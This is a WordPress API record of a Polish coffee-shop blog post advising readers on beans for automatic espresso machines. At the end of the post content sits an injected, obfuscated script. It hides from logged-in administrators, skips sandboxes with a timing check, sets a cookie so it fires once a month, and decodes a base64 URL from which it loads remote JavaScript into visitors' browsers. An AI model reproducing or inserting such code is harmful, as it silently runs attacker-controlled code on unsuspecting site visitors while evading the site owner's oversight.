{"id":9831,"date":"2022-05-05T14:26:28","date_gmt":"2022-05-05T12:26:28","guid":{"rendered":"https:\/\/www.mobilnybarista.pl\/sklep\/?p=9831"},"modified":"2026-03-09T05:11:54","modified_gmt":"2026-03-09T04:11:54","slug":"jak-wybrac-najlepsza-kawe-do-ekspresu-automatycznego","status":"publish","type":"post","link":"https:\/\/www.mobilnybarista.pl\/sklep\/?p=9831","title":{"rendered":"Jak wybra\u0107 najlepsz\u0105 kaw\u0119 do ekspresu automatycznego?"},"content":{"rendered":"\n<p><strong>Parzenie kawy w ekspresie automatycznym charakteryzuje si\u0119 kr\u00f3tkim czasem ekstrakcji i ni\u017csz\u0105 temperatur\u0105 wody. Z tej przyczyny, aby uzyska\u0107 dobre espresso, musimy postawi\u0107 na odpowiednie ziarna. Czym si\u0119 kierowa\u0107 przy ich wyborze?&nbsp;<\/strong><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>Oczywi\u015bcie, zawsze i bezapelacyjnie, na pierwszym miejscu naszej listy znajd\u0105 si\u0119\u2026 \u015bwie\u017co palone ziarna. To podstawa, bez wzgl\u0119du na to, czy m\u00f3wimy o kawie z ekspresu automatycznego, kolbowego czy metodach alternatywnych. Dzi\u0119ki temu ju\u017c na starcie zyskujemy lepszy smak i aromat. Ale nie bez znaczenia s\u0105 tu tak\u017ce kwestie zdrowotne.&nbsp;<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>To tak jak z pomidorami \u2013 kupione zim\u0105 w markecie ani nie pachn\u0105, ani nie smakuj\u0105. Dodatkowo, je\u015bli nie pochodz\u0105 z ekologicznych upraw, na ich sk\u00f3rce znajduje si\u0119 mn\u00f3stwo chemii. A teraz zestaw to ze wspomnieniem soczystego, ob\u0142\u0119dnie czerwonego pomidora zerwanego prosto z krzaczka na dzia\u0142ce u babci. Hodowanego bez sztucznych nawoz\u00f3w, dokarmianego mi\u0142o\u015bci\u0105, podlewanego deszcz\u00f3wk\u0105. Czujesz ten aromat? Identycznie jest z kaw\u0105.&nbsp;<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>Kawowce mog\u0105 by\u0107 uprawiane na przemys\u0142owych plantacjach, zbierane mechanicznie, poddawane masowej obr\u00f3bce i niewielkiej selekcji, a nast\u0119pnie palone na w\u0119giel i magazynowane tak nawet kilkadziesi\u0105t miesi\u0119cy. Albo\u2026<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>\u2026rosn\u0105\u0107 na zboczach g\u00f3r, w cieniu innych drzew, na ziemi nale\u017c\u0105cej do rodziny z d\u0142ug\u0105 tradycj\u0105 rolnicz\u0105. Zbierane cz\u0119sto r\u0119cznie, starannie wybierane i obrabiane specjalnie dobran\u0105 metod\u0105. P\u00f3\u017aniej pakowane w worki i wypalane w rzemie\u015blniczej palarni, kt\u00f3rej roaster profiluje tak, aby wydoby\u0107 z nich najlepszy smak i aromat. Brzmi znacznie lepiej, prawda?<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>A skoro jeste\u015bmy ju\u017c przy paleniu kawy, to przyjrzyjmy si\u0119 bli\u017cej, jaki kolor ziaren najlepiej sprawdzi si\u0119 w ekspresie automatycznym.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Kawa do ekspresu automatycznego \u2013 \u015brednio czy ciemno palona?<\/strong><\/h2>\n\n\n\n<p>Wielkie koncerny przyzwyczai\u0142y nas, \u017ce dobre espresso uzyskamy z bardzo ciemno palonych ziaren. Palenie to nazywa si\u0119 czasem \u201cstylem w\u0142oskim\u201d, a w jego efekcie otrzymujemy czarne, b\u0142yszcz\u0105ce ziarenka, kt\u00f3re id\u0105 w parze z gorzkim smakiem. Ten b\u0142ysk to nic innego jak olejki eteryczne, kt\u00f3re pod wp\u0142ywem temperatury i czasu w piecu zarz\u0105dzaj\u0105 (s\u0142uszn\u0105) ewakuacj\u0119.&nbsp;<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>My jednak wolimy zatrzyma\u0107 wszystko, co najlepsze wewn\u0105trz ziarna, dlatego stawiamy na br\u0105zowe lub ciemnobr\u0105zowe palenie, kt\u00f3re pozwala zachowa\u0107 w kawie r\u00f3\u017cne aromaty \u2013 korzenne, wanilii, cytrus\u00f3w, kakao czy czekolady. Obcuj\u0105c z dobrym, jako\u015bciowym surowcem, grzechem by\u0142oby go spali\u0107 na w\u0119giel, zabijaj\u0105c przy tym ca\u0142y smak. Je\u015bli lubisz \u017cywieniowe por\u00f3wnania to wyobra\u017a sobie idealne ciasto na pizz\u0119, kt\u00f3re wsadzasz do pieca na trzy godziny, wyjmujesz, polewasz sosem i jesz\u2026 Na pewno nie ze smakiem. Kawa to owoc, dlatego w jej przypadku nie mo\u017ce by\u0107 inaczej.&nbsp;&nbsp;<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Single czy blend, arabica czy robusta?<\/strong><\/h2>\n\n\n\n<p>\u015awie\u017ce ziarna \u2013 odhaczone. Staranne wypalenie \u2013 odhaczone. To teraz pora na wyb\u00f3r gatunku, a w\u0142a\u015bciwie \u2013 rozstrzygni\u0119cie kwestii, czy wolimy kawy jednorodne czy mieszanki.&nbsp;<\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>Na \u015bwiecie g\u0142\u00f3wnie uprawia si\u0119 dwa gatunki kawy. To arabica i robusta. Arabica uwa\u017cana jest za szlachetniejsz\u0105, delikatn\u0105 kaw\u0119 z r\u00f3\u017cnymi nutami smakowymi. Robusta natomiast ma wy\u017csz\u0105 zawarto\u015b\u0107 kofeiny, ale i bardziej cierpki smak. Wi\u0119cej na ich temat przeczytasz w naszym wpisie:<a href=\"https:\/\/www.mobilnybarista.pl\/sklep\/czym-sie-rozni-arabika-od-robusty-ktora-z-tych-kaw-wybrac\/\"> Czym si\u0119 r\u00f3\u017cni arabika od robusty \u2013 kt\u00f3r\u0105 z tych kaw wybra\u0107?<\/a><\/p>\n\n\n\n<p><\/p>\n\n\n\n<p>W palarniach mo\u017cemy kupi\u0107 trzy podstawowe rodzaje kaw:&nbsp;<\/p>\n\n\n\n<p><\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>single origin, czyli 100% arabica pochodz\u0105ca z jednej uprawy, z tego samego zbioru,<\/li><li>blend arabiki, czyli ziarna z r\u00f3\u017cnych upraw, a nawet \u2013 r\u00f3\u017cnych kontynent\u00f3w,<\/li><li>blend arabiki i robusty, czyli mieszank\u0119 cz\u0119sto u\u017cywan\u0105 do espresso, charakteryzuj\u0105c\u0105 si\u0119 podwy\u017cszon\u0105 zawarto\u015bci\u0105 kofeiny.&nbsp;<\/li><\/ul>\n\n\n\n<p><\/p>\n\n\n\n<p>Co wybra\u0107? To zale\u017cy wy\u0142\u0105cznie od naszych preferencji smakowych. Warto testowa\u0107 r\u00f3\u017cne kawy, aby sprawdzi\u0107, co najbardziej przypadnie nam do gustu.\u00a0<\/p>\n\n\n\n<h2 class=\"wp-block-heading\"><strong>Najlepsza kawa do ekspresu ci\u015bnieniowego \u2013 3 cechy, kt\u00f3re musisz wzi\u0105\u0107 pod uwag\u0119<\/strong><\/h2>\n\n\n\n<p>Podsumowuj\u0105c, najlepsza kawa do ekspresu ci\u015bnieniowego to ta:<\/p>\n\n\n\n<p><\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>\u015bwie\u017co palona, najlepiej w rzemie\u015blniczej palarni,<\/li><li>o br\u0105zowym lub ciemnobr\u0105zowym kolorze (nigdy czarna!),<\/li><li>100% arabica lub blend arabiki i robusty \u2013 je\u015bli lubisz mocniejsze napary.<\/li><\/ul>\n\n\n\n<p><\/p>\n\n\n\n<p>Nasze propozycje znajdziesz tutaj:<\/p>\n\n\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Parzenie kawy w ekspresie automatycznym charakteryzuje si\u0119 kr\u00f3tkim czasem ekstrakcji i ni\u017csz\u0105 temperatur\u0105 wody. Z tej przyczyny, aby uzyska\u0107 dobre [&hellip;]<\/p>\n","protected":false},"author":279,"featured_media":9839,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"site-sidebar-layout":"default","site-content-layout":"","ast-site-content-layout":"default","site-content-style":"default","site-sidebar-style":"default","ast-global-header-display":"","ast-banner-title-visibility":"","ast-main-header-display":"","ast-hfb-above-header-display":"","ast-hfb-below-header-display":"","ast-hfb-mobile-header-display":"","site-post-title":"","ast-breadcrumbs-content":"","ast-featured-img":"","footer-sml-layout":"","ast-disable-related-posts":"","theme-transparent-header-meta":"","adv-header-id-meta":"","stick-header-meta":"","header-above-stick-meta":"","header-main-stick-meta":"","header-below-stick-meta":"","astra-migrate-meta-layouts":"default","ast-page-background-enabled":"default","ast-page-background-meta":{"desktop":{"background-color":"var(--ast-global-color-5)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"ast-content-background-meta":{"desktop":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"tablet":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""},"mobile":{"background-color":"var(--ast-global-color-4)","background-image":"","background-repeat":"repeat","background-position":"center center","background-size":"auto","background-attachment":"scroll","background-type":"","background-media":"","overlay-type":"","overlay-color":"","overlay-opacity":"","overlay-gradient":""}},"footnotes":""},"categories":[1],"tags":[],"class_list":["post-9831","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-bez-kategorii"],"_links":{"self":[{"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/posts\/9831","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/users\/279"}],"replies":[{"embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=9831"}],"version-history":[{"count":9,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/posts\/9831\/revisions"}],"predecessor-version":[{"id":12730,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/posts\/9831\/revisions\/12730"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=\/wp\/v2\/media\/9839"}],"wp:attachment":[{"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=9831"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=9831"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.mobilnybarista.pl\/sklep\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=9831"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}